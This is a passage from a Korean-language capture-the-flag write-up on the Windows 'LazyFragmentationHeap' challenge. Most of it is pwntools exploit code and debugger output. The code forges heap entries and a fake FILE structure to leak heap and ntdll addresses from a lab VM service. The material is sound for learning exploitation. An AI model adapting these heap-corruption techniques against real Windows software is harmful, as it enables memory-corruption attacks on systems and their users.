</span><span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">heap_base</span> <span class="o">+</span> <span class="mh">0x2C0</span><span class="p">)</span>  <span class="c1"># cursor of SEEK_CUR, _HEAP-&gt;LockVariable-&gt;Lock
</span><span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">heap_base</span><span class="p">)</span>          <span class="c1"># base address, &amp;_HEAP
</span><span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x800</span><span class="p">)</span>              <span class="c1"># remaining file size
</span><span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x2041</span><span class="p">)</span>             <span class="c1"># I dunno what they are
</span><span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x17</span><span class="p">)</span>				
<span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x1000</span><span class="p">)</span>
<span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0xffffffffffffffff</span><span class="p">)</span>
<span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0xffffffff</span><span class="p">)</span>
<span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>

<span class="n">for_leak</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">for_leak</span> <span class="o">+=</span> <span class="n">fake_HEAP_USERDATA_HEADER</span>
<span class="n">for_leak</span> <span class="o">+=</span> <span class="n">fake_FILE</span> <span class="o">*</span> <span class="p">(</span><span class="mh">0x1000</span> <span class="o">/</span> <span class="nb">len</span><span class="p">(</span><span class="n">fake_FILE</span><span class="p">))</span>

<span class="n">edit</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span> <span class="n">for_leak</span><span class="p">)</span>
<span class="n">alloc</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span> <span class="n">SIZE</span><span class="p">)</span>
<span class="n">read_file</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span><span class="mi">8</span><span class="p">)</span>
<span class="n">ntdll_base</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">show</span><span class="p">(</span><span class="mi">5</span><span class="p">)[:</span><span class="mi">8</span><span class="p">].</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="n">p8</span><span class="p">(</span><span class="mi">0</span><span class="p">)))</span> <span class="o">-</span> <span class="mh">0x163d70</span>

<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"&amp;ntdll = 0x%016x"</span> <span class="o">%</span> <span class="n">ntdll_base</span><span class="p">)</span>

<span class="n">pause</span><span class="p">()</span>
<span class="n">hi</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>

<span class="s">'''
[+] Opening connection to 192.168.0.18 on port 6677: Done
[*] _HEAP-&gt;Encoding = 0x0000b6942c981917
[*] fake XOR'ed _HEAP_ENTRY = 0x1000b6b3e49918df
[*] &amp;_HEAP = 0x0000018809710000
[*] &amp;ntdll = 0x00007ffd09b00000
[*] Paused (press any to continue)
....
0:001&gt; ? ntdll
Evaluate expression: 140724765982720 = 00007ffd`09b00000
'''</span>
</code></pre></div></div>

<p>그리고 주소를 계속 leak해보다가 알게된 건데 정확한 이유는 알 수 없지만 프로세스가 바뀌더라도 <strong>LazyFragmentationHeap.exe</strong>를 포함해 로드된 모듈들의 주소는 변하지 않았습니다.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ python ex.py
[+] Opening connection to 192.168.0.18 on port 6677: Done
[*] _HEAP-&gt;Encoding = 0x0000ded8a1942b54
[*] fake XOR'ed _HEAP_ENTRY = 0x1000deff69952a9c
[*] &amp;_HEAP = 0x000001c50e7e0000
[*] &amp;ntdll = 0x00007ffd09b00000 &lt;------------------------------|
[*] Closed connection to 192.168.0.18 port 6677                |
                                                               |
$ python ex.py                                                 |
[+] Opening connection to 192.168.0.18 on port 6677: Done      |
[*] _HEAP-&gt;Encoding = 0x000072da0f33e8bf                       |
[*] fake XOR'ed _HEAP_ENTRY = 0x100072fdc732e977               |
[*] &amp;_HEAP = 0x0000019898950000                                |
[*] &amp;ntdll = 0x00007ffd09b00000 &lt;------------------------------|
</code></pre></div></div>

<p>어차피 FILE 구조체를 통해 데이터를 읽어들이는 횟수에 제한을 두고 있어서, FILE 구조체를 이용한 주소 leak은 프로세스 당 한번씩만 할 수 있기 때문에 아래와 같이 코드를 수정했습니다.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="c1"># context.log_level = "debug"
</span>
<span class="c1"># HOST = "192.168.56.102" # VirtualBox Host-Only Adapter
</span><span class="n">HOST</span> <span class="o">=</span> <span class="s">"192.168.0.18"</span> <span class="c1"># VirtualBox Bridge 
</span><span class="n">PORT</span> <span class="o">=</span> <span class="mi">6677</span>
<span class="n">SIZE</span> <span class="o">=</span> <span class="mh">0xC8</span> <span class="c1"># yes, I intend korean slang
</span>
<span class="n">hi</span> <span class="o">=</span> <span class="bp">None</span>
<span class="n">sla</span> <span class="o">=</span> <span class="bp">None</span>

<span class="k">def</span> <span class="nf">alloc</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">,</span> <span class="n">size</span><span class="p">):</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">1</span><span class="p">))</span>
 	<span class="n">sla</span><span class="p">(</span><span class="s">"Size:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">size</span><span class="p">))</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"ID:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">))</span>

<span class="k">def</span> <span class="nf">edit</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">,</span> <span class="n">val</span><span class="p">,</span> <span class="n">need_newline</span><span class="o">=</span><span class="bp">True</span><span class="p">):</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">2</span><span class="p">))</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"ID:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">))</span>
	<span class="k">if</span> <span class="n">need_newline</span><span class="p">:</span>
		<span class="n">sla</span><span class="p">(</span><span class="s">"Content:"</span><span class="p">,</span> <span class="n">val</span><span class="p">)</span>
	<span class="k">else</span><span class="p">:</span>
		<span class="n">hi</span><span class="p">.</span><span class="n">sendafter</span><span class="p">(</span><span class="s">"Content:"</span><span class="p">,</span> <span class="n">val</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">show</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">):</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">3</span><span class="p">))</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"ID:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">))</span>
	<span class="k">return</span> <span class="n">hi</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">strip</span><span class="p">().</span><span class="n">split</span><span class="p">(</span><span class="s">"Content: "</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>

<span class="k">def</span> <span class="nf">free</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">):</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">4</span><span class="p">))</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"ID:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">))</span>

<span class="k">def</span> <span class="nf">open_file</span><span class="p">():</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">5</span><span class="p">))</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">1</span><span class="p">))</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">3</span><span class="p">))</span>

<span class="k">def</span> <span class="nf">read_file</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">,</span> <span class="n">size</span><span class="p">):</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">5</span><span class="p">))</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">2</span><span class="p">))</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"ID:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">))</span>
 	<span class="n">sla</span><span class="p">(</span><span class="s">"Size:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">size</span><span class="p">))</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">3</span><span class="p">))</span>


<span class="k">def</span> <span class="nf">leak</span><span class="p">(</span><span class="n">cursor</span><span class="o">=</span><span class="mi">0</span><span class="p">):</span>
	<span class="k">global</span> <span class="n">hi</span><span class="p">,</span> <span class="n">sla</span>
	<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">"error"</span>
	<span class="n">hi</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="n">HOST</span><span class="p">,</span> <span class="n">PORT</span><span class="p">)</span>
	<span class="n">sla</span> <span class="o">=</span> <span class="n">hi</span><span class="p">.</span><span class="n">sendlineafter</span>

	<span class="n">alloc</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">SIZE</span><span class="p">)</span>
	<span class="n">edit</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"A"</span> <span class="o">*</span> <span class="n">SIZE</span><span class="p">)</span>
	<span class="k">try</span><span class="p">:</span>
		<span class="n">heap_encod</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">show</span><span class="p">(</span><span class="mi">1</span><span class="p">)[</span><span class="n">SIZE</span><span class="p">:]</span> <span class="o">+</span> <span class="s">"</span><span class="se">\x00\x10</span><span class="s">"</span><span class="p">)</span> <span class="o">^</span> <span class="mh">0x1000000d02010003</span>
	<span class="k">except</span> <span class="n">struct</span><span class="p">.</span><span class="n">error</span><span class="p">:</span>
		<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"_HEAP_ENTRY not leaked"</span><span class="p">)</span>
		<span class="k">return</span>

	<span class="c1"># log.info("_HEAP-&gt;Encoding = 0x%016x" % heap_encod)
</span>
	<span class="n">alloc</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mh">0x268</span><span class="p">)</span>
	<span class="n">alloc</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mh">0x200</span><span class="p">)</span>
	<span class="n">fake_entry</span> <span class="o">=</span> <span class="mh">0x10000027c80101c8</span> <span class="o">^</span> <span class="n">heap_encod</span>
	<span class="s">'''
	0x10000027c80101c8
	   +0x008 Size             : 0x1c8
	   +0x00a Flags            : 0x1 ''
	   +0x00b SmallTagIndex    : 0xc8 ''
	   +0x008 SubSegmentCode   : 0xc80101c8
	   +0x00c PreviousSize     : 0x27
	   +0x00e SegmentOffset    : 0 ''
	   +0x00e LFHFlags         : 0 ''
	   +0x00f UnusedBytes      : 0x10 ''
	'''</span>

	<span class="c1"># log.info("fake XOR'ed _HEAP_ENTRY = 0x%016x" % fake_entry)
</span>
	<span class="n">alloc</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span> <span class="mh">0x1c80</span> <span class="o">-</span>  <span class="c1"># fake chunk size 
</span>	         <span class="mh">0x20</span>   <span class="o">-</span>  <span class="c1"># sizeof(_HEAP_ENTRY) * 2
</span>	         <span class="mh">0x200</span>     <span class="c1"># orginal size of overwritten chunk
</span>	<span class="p">)</span> 
	<span class="n">open_file</span><span class="p">()</span>
	<span class="n">read_file</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mh">0x268</span><span class="p">)</span>
	<span class="n">edit</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="s">"A"</span> <span class="o">*</span> <span class="mh">0x268</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">fake_entry</span><span class="p">)[:</span><span class="mi">6</span><span class="p">],</span> <span class="bp">False</span><span class="p">)</span>
	<span class="n">free</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span>         <span class="c1"># free coalesce mechanism also free'ing chunk 4
</span>	<span class="n">alloc</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mh">0x200</span><span class="p">)</span> <span class="c1"># set Flink and Blink at chunk 4
</span>
	<span class="n">heap_base</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">show</span><span class="p">(</span><span class="mi">4</span><span class="p">)[:</span><span class="mi">8</span><span class="p">].</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="n">p8</span><span class="p">(</span><span class="mi">0</span><span class="p">)))</span> <span class="o">-</span> <span class="mh">0x150</span>
	<span class="k">if</span> <span class="n">heap_base</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
		<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"Heap address not leaked"</span><span class="p">)</span>
        <span class="k">return</span>

	<span class="c1"># default target is ntdll on _HEAP-&gt;LockVariable-&gt;Lock
</span>	<span class="k">if</span> <span class="n">cursor</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
		<span class="n">cursor</span> <span class="o">=</span> <span class="n">heap_base</span> <span class="o">+</span> <span class="mh">0x2c0</span>
		
	<span class="c1"># log.info("&amp;_HEAP = 0x%016x" % heap_base)
</span>
	<span class="c1"># make LFH to allocate new Userblock in chunk 4
</span>	<span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x14</span><span class="p">):</span>
		<span class="n">open_file</span><span class="p">()</span>

	<span class="n">fake_HEAP_USERDATA_HEADER</span> <span class="o">=</span> <span class="s">""</span>
	<span class="n">fake_HEAP_USERDATA_HEADER</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">heap_base</span> <span class="o">+</span> <span class="mh">0xbcd0</span><span class="p">)</span>   <span class="c1"># +0x000 SubSegment
</span>	<span class="n">fake_HEAP_USERDATA_HEADER</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">heap_base</span> <span class="o">+</span> <span class="mh">0x12e40</span><span class="p">)</span>  <span class="c1"># +0x008 Reserved
</span>	<span class="n">fake_HEAP_USERDATA_HEADER</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0xc</span><span class="p">)</span>                  <span class="c1"># +0x010 SizeIndexAndPadding
</span>	<span class="n">fake_HEAP_USERDATA_HEADER</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0xf0e0d0c0</span><span class="p">)</span>           <span class="c1"># +0x014 Signature
</span>	<span class="n">fake_HEAP_USERDATA_HEADER</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">*</span> <span class="mi">5</span>                <span class="c1"># I couldn't leak other values
</span>
	<span class="n">fake_FILE</span> <span class="o">=</span> <span class="s">""</span>
	<span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">*</span> <span class="mi">2</span>              <span class="c1"># _HEAP_ENTRY
</span>	<span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">cursor</span><span class="p">)</span>             <span class="c1"># cursor of SEEK_CUR
</span>	<span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">cursor</span> <span class="o">&amp;</span> <span class="o">~</span><span class="mh">0xfff</span><span class="p">)</span>    <span class="c1"># base address
</span>	<span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x800</span><span class="p">)</span>              <span class="c1"># remaining file size
</span>	<span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x2041</span><span class="p">)</span>             <span class="c1"># I dunno what they are
</span>	<span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x17</span><span class="p">)</span>				
	<span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x1000</span><span class="p">)</span>
	<span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
	<span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0xffffffffffffffff</span><span class="p">)</span>
	<span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0xffffffff</span><span class="p">)</span>
	<span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
	<span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>

	<span class="n">for_leak</span> <span class="o">=</span> <span class="s">""</span>
	<span class="n">for_leak</span> <span class="o">+=</span> <span class="n">fake_HEAP_USERDATA_HEADER</span>
	<span class="n">for_leak</span> <span class="o">+=</span> <span class="n">fake_FILE</span> <span class="o">*</span> <span class="p">(</span><span class="mh">0x1000</span> <span class="o">/</span> <span class="nb">len</span><span class="p">(</span><span class="n">fake_FILE</span><span class="p">))</span>

	<span class="n">edit</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span> <span class="n">for_leak</span><span class="p">)</span>
	<span class="n">alloc</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span> <span class="n">SIZE</span><span class="p">)</span>
	<span class="n">read_file</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span><span class="mi">8</span><span class="p">)</span>
	<span class="n">result</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">show</span><span class="p">(</span><span class="mi">5</span><span class="p">)[:</span><span class="mi">8</span><span class="p">].</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="n">p8</span><span class="p">(</span><span class="mi">0</span><span class="p">)))</span>

	<span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">6</span><span class="p">))</span>
	<span class="n">hi</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
	<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">"info"</span>
	<span class="k">return</span> <span class="n">result</span>


<span class="n">ntdll_base</span> <span class="o">=</span> <span class="n">leak</span><span class="p">()</span> <span class="o">-</span> <span class="mh">0x163d70</span>
<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"ntdll = 0x%016x"</span> <span class="o">%</span> <span class="n">ntdll_base</span><span class="p">)</span>
</code></pre></div></div>

<p><strong>ntdll.dll</strong>은 아무래도 Windows의 핵심 모듈이다 보니 외부 모듈을 참조하지 않아 IAT는 없지만, 내부적으로 <strong>PebLdr</strong>이라고 <strong>_PEB-&gt;Ldr</strong>가 가리키는 로드된 모듈끼리의 Double Linked List가 존재합니다.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:001&gt; dt ntdll!_PEB @$peb Ldr
   +0x018 Ldr : 0x00007ffd`09c653c0 _PEB_LDR_DATA &lt;---------|
                                                            |
0:001&gt; ? ntdll!PebLdr                                       |
Evaluate expression: 140724767445952 = 00007ffd`09c653c0 &lt;--|

0:001&gt; dt ntdll!_PEB_LDR_DATA 00007ffd`09c653c0
   +0x000 Length           : 0x58
   +0x004 Initialized      : 0x1 ''
   +0x008 SsHandle         : (null) 
   +0x010 InLoadOrderModuleList : _LIST_ENTRY [ 0x0000016c`d7702780 - 0x0000016c`d7705d20 ]
   +0x020 InMemoryOrderModuleList : _LIST_ENTRY [ 0x0000016c`d7702790 - 0x0000016c`d7705d30 ]
   +0x030 InInitializationOrderModuleList : _LIST_ENTRY [ 0x0000016c`d7702610 - 0x0000016c`d7702e40 ]
   +0x040 EntryInProgress  : (null) 
   +0x048 ShutdownInProgress : 0 ''
   +0x050 ShutdownThreadId : (null) 

0:001&gt; dqs 16c`d7702780
0000016c`d7702780  0000016c`d77025f0
0000016c`d7702788  00007ffd`09c653d0 ntdll!PebLdr+0x10
0000016c`d7702790  0000016c`d7702600
0000016c`d7702798  00007ffd`09c653e0 ntdll!PebLdr+0x20
0000016c`d77027a0  00000000`00000000
0000016c`d77027a8  00000000`00000000
0000016c`d77027b0  00007ff7`6f400000 LazyFragmentationHeap
0000016c`d77027b8  00007ff7`6f401bf0 LazyFragmentationHeap+0x1bf0
....
</code></pre></div></div>

<p>분석을 하다 알게되었는데, <strong>_PEB_LDR_DATA-&gt;InLoadOrderModuleList</strong>가 가리키는 Heap 영역의 offset이 항상 <strong>0x27b0</strong>으로 고정되어 있어 아래와 같이 바로 leak할 수 있고, IAT를 통해 다른 라이브러리의 주소도 구할 수 있었습니다.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="c1"># context.log_level = "debug"
</span>
<span class="c1"># HOST = "192.168.56.102" # VirtualBox Host-Only Adapter
</span><span class="n">HOST</span> <span class="o">=</span> <span class="s">"192.168.0.18"</span> <span class="c1"># VirtualBox Bridge 
</span><span class="n">PORT</span> <span class="o">=</span> <span class="mi">6677</span>
<span class="n">SIZE</span> <span class="o">=</span> <span class="mh">0xC8</span> <span class="c1"># yes, I intend korean slang
</span>
<span class="n">hi</span> <span class="o">=</span> <span class="bp">None</span>
<span class="n">sla</span> <span class="o">=</span> <span class="bp">None</span>

<span class="k">def</span> <span class="nf">alloc</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">,</span> <span class="n">size</span><span class="p">):</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">1</span><span class="p">))</span>
 	<span class="n">sla</span><span class="p">(</span><span class="s">"Size:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">size</span><span class="p">))</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"ID:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">))</span>

<span class="k">def</span> <span class="nf">edit</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">,</span> <span class="n">val</span><span class="p">,</span> <span class="n">need_newline</span><span class="o">=</span><span class="bp">True</span><span class="p">):</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">2</span><span class="p">))</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"ID:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">))</span>
	<span class="k">if</span> <span class="n">need_newline</span><span class="p">:</span>
		<span class="n">sla</span><span class="p">(</span><span class="s">"Content:"</span><span class="p">,</span> <span class="n">val</span><span class="p">)</span>
	<span class="k">else</span><span class="p">:</span>
		<span class="n">hi</span><span class="p">.</span><span class="n">sendafter</span><span class="p">(</span><span class="s">"Content:"</span><span class="p">,</span> <span class="n">val</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">show</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">):</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">3</span><span class="p">))</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"ID:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">))</span>
	<span class="k">return</span> <span class="n">hi</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">strip</span><span class="p">().</span><span class="n">split</span><span class="p">(</span><span class="s">"Content: "</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>

<span class="k">def</span> <span class="nf">free</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">):</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">4</span><span class="p">))</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"ID:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">))</span>

<span class="k">def</span> <span class="nf">open_file</span><span class="p">():</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">5</span><span class="p">))</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">1</span><span class="p">))</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">3</span><span class="p">))</span>

<span class="k">def</span> <span class="nf">read_file</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">,</span> <span class="n">size</span><span class="p">):</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">5</span><span class="p">))</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">2</span><span class="p">))</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"ID:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">))</span>
 	<span class="n">sla</span><span class="p">(</span><span class="s">"Size:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">size</span><span class="p">))</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">3</span><span class="p">))</span>


<span class="k">def</span> <span class="nf">leak</span><span class="p">(</span><span class="n">cursor</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span> <span class="n">disconn</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">leakLazy</span><span class="o">=</span><span class="bp">False</span><span class="p">):</span>
	<span class="k">global</span> <span class="n">hi</span><span class="p">,</span> <span class="n">sla</span>
	<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">"error"</span>
	<span class="n">hi</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="n">HOST</span><span class="p">,</span> <span class="n">PORT</span><span class="p">)</span>
	<span class="n">sla</span> <span class="o">=</span> <span class="n">hi</span><span class="p">.</span><span class="n">sendlineafter</span>

	<span class="n">alloc</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">SIZE</span><span class="p">)</span>
	<span class="n">edit</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"A"</span> <span class="o">*</span> <span class="n">SIZE</span><span class="p">)</span>
	<span class="k">try</span><span class="p">:</span>
		<span class="n">heap_encod</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">show</span><span class="p">(</span><span class="mi">1</span><span class="p">)[</span><span class="n">SIZE</span><span class="p">:]</span> <span class="o">+</span> <span class="s">"</span><span class="se">\x00\x10</span><span class="s">"</span><span class="p">)</span> <span class="o">^</span> <span class="mh">0x1000000d02010003</span>
	<span class="k">except</span> <span class="n">struct</span><span class="p">.</span><span class="n">error</span><span class="p">:</span>
		<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"_HEAP_ENTRY not leaked"</span><span class="p">)</span>
		<span class="k">return</span>

	<span class="c1"># log.info("_HEAP-&gt;Encoding = 0x%016x" % heap_encod)
</span>
	<span class="n">alloc</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mh">0x268</span><span class="p">)</span>
	<span class="n">alloc</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mh">0x200</span><span class="p">)</span>
